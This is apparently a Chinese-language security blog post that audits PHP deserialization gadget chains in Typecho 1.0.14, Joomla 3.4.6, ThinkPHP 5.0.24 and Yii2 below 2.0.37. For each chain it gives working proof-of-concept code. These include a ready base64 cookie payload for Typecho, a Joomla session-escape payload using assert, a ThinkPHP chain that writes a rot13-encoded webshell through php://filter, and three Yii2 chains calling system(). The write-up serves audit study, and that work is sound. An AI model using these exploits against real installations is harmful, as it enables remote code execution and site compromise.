Typecho1.014反序列化导致任意代码执行
这个在做题的时候审过一次,但是那时候刚刚审计,没有审的太明白,现在重新在审一下
我们在install.php找到了反序列化的入口
有两条链子我们可以使用,第一条就是传入这个finish,第二条就是传入start
我们再来看一下上面的
这个当时不理解什么意思
$SERVER['HTTP_REFERER']需要与$_SERVER['HTTP_HOST']的值相等,意思是请求包中的字段 host==referer['host']
那我们就直接在请求的referer的值等于浏览器的值就好了
下面开始分析链子
首先我们就要传入参数,这个参数是__typecho_config值我们可以自己设置,最后进行base64解码
我们进入get方法查看
这个值我们可以post传参也可以cookie传参
下面就是实例化这个对象将这个config的adapter和prefix传进去
我们跟进一下这个对象
这里有个字符串拼接,如果这个adapterName是一个对象,那么发生字符串拼接就会触发这个类的toString方法s
我们全局搜索一下,看看哪里有toString方法
在Confing.php中有一个,但是这个直接返回了实例化的这个对象,没有什么可以利用的
看一下Query.php
这里调用了这个parseSelect方法,如果说这个_adapter是一个对象,但是没有这个parseSelect这个方法,那就会调用该类的__call方法
我们全局搜索一下这个方法
这里面有个人call_user_func_array方法
这两个参数一个是失败时调用的方法名,一个是调用时的参数,这个我们两个都是可控的但是根据上文,$args必须存在
array('action'=>'SELECT'),然后加上我们构造的payload,最少是个长度为2的数组,但是483行又给数组加了
一个长度,导致$args长度至少为3,那么call_user_func_array()便无法正常执行。
最后就是一个toString方法了
这里的toString方法是在Feed.php中
在这个if判断中,这个_type的这个值要等于RSS2才能进去这个判断
下面有一个screeName属性的调用,如果调用一个不能调用的属性就会触发这个类的__get方法
我们看一下有哪个get方法可以触发,在Request.php方法里面有个get方法,这个key就是screeName的值
然后我们跟进一下get方法
我们再次跟进一下这个函数
这个函数可以命令执行
最终的调用链
call_user_func <-- Typecho_Request::_applyFilter <-- Typecho_Request::get <-- Typecho_Request::__get <-- Typecho_Feed::__toString <-- Typecho_Db::__construct
最后的poc
<?php
class Typecho_Feed{
private $_items=array();
private $_type='RSS 2.0';
public function __construct(){
$this->_items[0]=array(
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request()
);
}
}
class Typecho_Request{
private $_filter = array();
private $_params = array();
function __construct(){
$this->_params['screenName'] = 'phpinfo();';
$this->_filter[0] = 'assert';
}
}
$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_',
);
print_r(base64_encode(serialize($exp)));
?>
除了这个之外我们还可以用另一个
和上一个接口是一样的
payload
Get ?finish=1
Referer:
Cookie:____typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6Mjp7czo4OiJjYXRlZ29yeSI7YToxOntpOjA7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6MTA6InBocGluZm8oKTsiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czoxMDoicGhwaW5mbygpOyI7fX19fXM6MTk6IgBUeXBlY2hvX0ZlZWQAX3R5cGUiO3M6NzoiUlNTIDIuMCI7fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9
Joomal3.4.6反序列化导致任意代码执行
在此之前我们先了解一下前置知识,在进行序列化的时候,如果是protected的属性在序列化的时候前面会有标识符
\x00这个空字符,然而这种空字符是不允许写入mysql数据库中的,在这个Jooma中,即使我们密码错误也会保存到session中这时候,如果
我们的属性是protected的,就会进行替换操作,将这个\x00*\x00替换成\0\0\0
然后我们读取数据的时候,就会进行替换操作,把这个\0\0\0重新替换为\x00*\x00
CTF中叫做反序列化逃逸
首先是三个字节\x00*\x00,进行session储存到mysql数据库时会变成\0\0\0
从三个字节变成了六个字节,在进行反序列化时,重新变成三个字节 少了三个字节
如果少了三个字节,就往后吞三个字节
假如我们构造的更多,就要吞的更多,直到我们可以把一个属性全部吞完
一个属性吞完之后,我们就可以构造出我们想要的属性。
下面有一个小demo(为了方便把\x00替换为N)
<?php
class User {
public $username;
public $password;
public function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}
}
class danger{
public $cmd;
public function __construct(){
$this->cmd = $cmd;
}
public function __destruct(){
system($this->cmd);
}
}
$username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$password = "1234";
$payload = '";s:8:"password";O:6:"danger":1:{s:3:"cmd";s:4:"calc";}';
$password = $password.$payload;
$object = new User($username,$password);
$ser = serialize($object);
$data = str_replace('N*N', '\0\0\0', $ser);
var_dump($data);
echo "</br></br></br></br>";
$result = str_replace('\0\0\0','N*N', $ser);
var_dump($result);
echo "</br></br></br></br>";
$unser = unserialize($result);
var_dump($unser);
?>
最后也是成的将计算机弹出来了
现在我们来分析一下这个框架
先看一下危险函数,在mysqlli.php中
有一个这个函数我们看一下这个里面的参数,这回调函数我们可以自己去构造,但是这里的&$this被写死了
我们不能通过使用eval或者assert来进行命令执行。
这里补充一个知识点,即使这里参数可控,我们也不能用eval进行命令执行
意思就是当我们构造一个双变量马的时候,不能使用1=eval&2=xxx来使用,而只能使1=assert&2=command做为密码连接,或者
1=system&2=whoami来执行命令
因为eval是一个语言构造器,而不是一个函数,不能被可变函数调用;
所以我们这个就利用不了
我们看下一个
在这个simplepie.php中
也有一个命令执行函数我们可以利用
经过这三个if判断之后就就可以到达我们这个命令执行函数了
分析一下这个判断
这个判断就是判断一下这两个参数是否为空,只要一个是存在就进入下面的判断
这个判断这个参数是否存在
这个也是判断两个参数,还有后面的判断这个的scheme不为空
这个就是调用了SimplePie_Misc的parse_url这个方法
这里面的scheme是通过get_scheme()方法得到的这个我们可以自己设置
最后就是命令执行
call_user_func(
array($this->cache_class, 'create'),
$this->cache_location,
call_user_func($this->cache_name_function, $this->feed_url),
'spc');
我们可以利用里面的那个进行命令执行,这两个属性我们是可控的
虽然实例化了一个SimplePie的类,但是SimplePie类不会自动加载。需要去引入加载类。
/libraries/legacy/simplepie/factory.php
发现刚开始就导入了SimplePie类,并且JSimplepieFactory类属于autoload,会自动加载,这样的话只需要引入这个类就可以成功加载SimplePie。
payload
<?php
class JSimplepieFactory{}
class JDatabaseDriverMysql{}
class JDatabaseDriverMysqli
{
protected $abc;
protected $connection;
protected $disconnectHandlers;
function __construct()
{
$this->abc = new JSimplepieFactory();
$this->connection = 1;
$this->disconnectHandlers = [
[new SimplePie, "init"],
];
}
}
class SimplePie
{
var $sanitize;
var $cache_name_function;
var $feed_url;
function __construct()
{
$this->feed_url = "phpinfo();JFactory::getConfig();exit;";
$this->cache_name_function = "assert";
$this->sanitize = new JDatabaseDriverMysql();
}
}
$obj = new JDatabaseDriverMysqli();
$ser = serialize($obj);
echo str_replace(chr(0) . '*' . chr(0), '\0\0\0', $ser);?>
最后我们输入的是
username:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
password:123";s:4:"test":O:21:"JDatabaseDriverMysqli":3:{s:6:"\0\0\0abc";O:17:"JSimplepieFactory":0:{}s:13:"\0\0\0connection";i:1;s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":3:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:19:"cache_name_function";s:6:"assert";s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}}
这个poc也是看p神的博客弄到的,但是里面有东西不太明白
ThinkPHP5.0.24反序列化导致命令执行
原先了解过tp框架,就是一个路由比较重要,还有就是一个App模块
具体分析流程前传参方式,首先介绍一下模块等参数
模块 : application\index,这个index就是一个模块,负责前台相关
控制器 : 在模块中的文件夹controller,即为控制器,负责业务逻辑
操作 : 在控制器中定义的方法,比如在默认文件夹中application\index\controller\Index.php中就有两个方法,index和hello
参数 : 就是定义的操作需要传的参数
这里会用到两种传参方式
1. PATH_INFO模式 : http://127.0.0.1/public/index.php/模块/控制器/操作/(参数名)/(参数值)...
2. 兼容模式 : http://127.0.0.1/public/index.php?s=/模块/控制器/操作&(参数名)=(参数值)...
这里会导入应用目录,加载框架引导文件
当我们请求index的时候
当我们请求test的时候
我们定义一个函数
这里看一下怎么传参
可以用这种方式传
先分析一下反序列化漏洞
这个反序列化是二次开发才能利用
在/application/index/controller/Index.php中添加反序列化反序列化触发点代码
此版本的利用方式是通过反序列化达到写文件的目的。起点在thinkphp/library/think/process/pipes/Windows.php中的windows类的__destruct()析构函数
这里面会触发两个函数,这里我们就看一下第二函数就可以
这里会触发__toString()方法,我们全局搜索一下toString方法
我们选择这个文件里面的toString方法,这里调用了toJson()方法,我们跟进一下
调用了toArray(),再次跟进
最后到这个toArray()方法
我们直接看关键代码,这里是调用了getRelationData()方法,这里面的参数我们可控
这里的append的值我们可控,也就是说,这里我方法我们可以随便调用,这里我们选择调用Model类的getError
这个值我们是直接可控的,接着我们看一下下面的这个方法
这里这个参数我们可控,也就是说我们可以随便调用任何类的getRelation
这里选择位于thinkphp/library/think/model/relation/HasOne.php的HasOne类的getRelation方法
这里的query参数我们可控,所以,我们可以利用它来触发call方法
传进去的参数$this->foreignKey也是可控的参数。这里需要全局搜索可以利用的魔术方法__call()。这里选择触发位于thinkphp/library/think/console/Output.php的Output类的__call()方法
跟进Output类中的__call方法
我们看一下这个是调用此类的block,参数是args
我们跟进去看一下
写入标签,在跟进
调用write,再次跟进
这里的handle,我们是可控的,也就是说我们可以调用任意类的write方法
这里选择位于think/session/driver/Memcache.php的Memcache类的write方法
同样$this->handler可控,这样可以调用其他类的set方法,这里选择位于thinkphp/library/think/cache/driver/File.php的File类的set方法
跟进看一下
这里有个文件写入,我们可以写入东西,看一下参数是否可控
这里的name经过getCacheKey()我们跟进一下
这里的filename是路径加上md5加密过后的名字,这里的名字我们是可控的
看一下这个data,我们是否可控
这个value看一下,经过向上回溯发现这个值是bool
参数不可控,我们往下看
这里调用了setTagITem()我们跟进一下
这里会重新调用这个set方法
因为这个tag我们是可控的,所以这个key是可控的,我们之前分析过这个name是可控的,因为value=name,所以这个value可以可控的
那么我们就可以写入文件内容也知道了文件的名字
这里有个exit死亡绕过,我们可以采用root13编码绕过
整理一下利用链
file_put_contents <- File.php::set() <- Driver.php::setTagItem() <- File.php::set() <- Memcache.php::write() <- Memcache.php::writeln() <- Output.php::block() <- Output.php::__call() <- HasOne.php::getRelation() <- Model.php::getRelationData <- Model.php::getError() <- Model.php::toArray() <- Model.php::toJson() <- Model.php::__toString() <- Windows.php::removeFiles() <- Windows.php::__destruct()
写payload
<?php
namespace think\session\driver;
use think\cache\driver\File;
class Memcached{
protected $handler = null;
function __construct(){
$this->handler = new File(); //此处赋值$this->handler为File类的一个对象,这样就可以调用File.php::set()方法
}
}
namespace think\cache;
abstract class Driver{
function __construct(){}
}
namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver{ //此处重写File.php::set方法,构造写入的$filename
protected $tag;
protected $options = [];
function __construct(){
$this->tag = 'nocatch';
$this->options = [
'cache_subdir'=>false,
'prefix'=>'',
'path'=>'php://filter/write=string.rot13/resource=./static/<?cuc cucvasb();?>', //rot13编码
'data_compress'=>false,
];
}
}
namespace think\console;
use think\session\driver\Memcached;
class Output{
private $handle = null;
protected $styles = [];
function __construct(){
$this->styles = ['removeWhereField'];
$this->handle = new Memcached(); //此处赋值$this->handle为Memcached的一个对象,来调用Memcached::write()方法
}
}
namespace think\model;
use think\console\Output;
abstract class Relation{
protected $query;
protected $foreignKey;
function __construct(){
$this->query = new Output(); //此处赋值$this->query为Output的一个对象,这样因为不存在removeWhereField方法,从而会调用Output类的__call方法
$this->foreignKey = "aaaaaaaaa"; //参数
}
}
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation{}
namespace think\model\relation;
class HasOne extends OneToOne{}
namespace think;
use think\model\relation\HasOne;
use think\console\Output;
abstract class Model{
protected $append = [];
protected $error;
protected $parent;
function __construct(){
$this->append = ['bmjoker'=>'getError'];
$this->error = new HasOne(); //此处赋值$this->error为类HasOne的一个对象
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()]; //此处赋值$filename为类Pivot的一个对象
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{} //此处会自动调用Model类
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
这个在windows下打不出来
Yii2.0.37反序列化导致命令执行
漏洞版本为<2.0.37,从github拉取代码下来:https://github.com/yiisoft/yii2/releases
下载到本地后解压到phpstudy/www目录,修改config/web.php文件里cookieValidationKey的值
在controllers目录上添加
测试一下
成功回显
接下来开始寻找链子
第一条pop链
这条链子还是挺简单的,但是传参的事情我觉得还是很奇怪
首先链子的起点就是
在这个类里面的destruct()方法
我们看到了reset()方法我们跟进一下
这里的参数我们可控,调用了close(),很容易想到这个可以触发__call方法
这里我们选择这个文件的__call方法
我们跟进一下这个format
这里面的参数都是从那个reset()传进来的,这里的formatter为close,这里的arguments是空数组
下面的回调函数调用了getFormatter方法,我们跟进一下
这里的formatters这个参数我们是可控的,可以赋值为我们想要的函数
前几天做过类里面的函数的调用,通过这个回调函数的方法
需要去寻找实现命令执行的方法,并且参数可控。使用正则表达式call_user_func($this->([a-zA-Z0-9]+), $this->([a-zA-Z0-9]+)\)来匹配
首先第一处,文件路径vendor\yiisoft\yii2\rest\IndexAction.php
这两个参数都可控
第二处,文件路径:vendor\yiisoft\yii2\rest\CreateAction.php
和上一个几乎一模一样
接下来就是构造poc
<?php
namespace yii\db {
use Faker\Generator;
class BatchQueryResult
{
private $_dataReader;
public function __construct()
{
$this->_dataReader = new Generator();
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\rest {
class IndexAction
{
public $checkAccess;
public $id;
public function __construct()
{
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace {
echo base64_encode(serialize(new yii\db\BatchQueryResult()));
}
第二条pop链
起点在于RunProcess类,文件路径vendor\codeception\codeception\ext\RunProcess.php
这个调用了stopProcess()方法
这里这个参数可控,后面调用了isRuning(),还是会触发_call方法
基本上和后面的一样了,只不过是触发的出口不同
poc
<?php
namespace Codeception\Extension {
use Faker\Generator;
class RunProcess
{
private $processes;
public function __construct()
{
$this->processes =[new Generator()];
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['isRunning'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\rest {
class IndexAction
{
public $checkAccess;
public $id;
public function __construct()
{
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace {
echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
注意就是数组传参的时候,要用[]包裹,在这里传入这个方法名字的时候,名字已经变了
其他的就和上一条链子没有什么区别了
第三条pop链
这是这条链子的入口点
我们进去看一下
这里出现了字符串拼接,可以调用__toString方法
这里选择Deprecated类下的__toString()方法,文件路径vendor\phpdocumentor\reflection-docblock\src\DocBlock\Tags\Deprecated.php
这边还是可以触发__call()方法
poc
<?php
namespace {
use phpDocumentor\Reflection\DocBlock\Tags\Deprecated;
class Swift_KeyCache_DiskKeyCache{
private $path;
private $keys;
public function __construct()
{
$this -> path = new Deprecated();
$this -> keys = array("just"=>array("for"=>"xxx"));
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class Deprecated{
protected $description;
public function __construct()
{
$this -> description = new Generator() ;
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['render'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\rest {
class IndexAction
{
public $checkAccess;
public $id;
public function __construct()
{
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace {
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache ));
}
在写poc的时候注意那个全局命名
总结
在审计的过程中也遇到了不少的问题,好在都解决了,对于反序劣化的理解更加深刻
https://www.cnblogs.com/bmjoker/p/13831713.html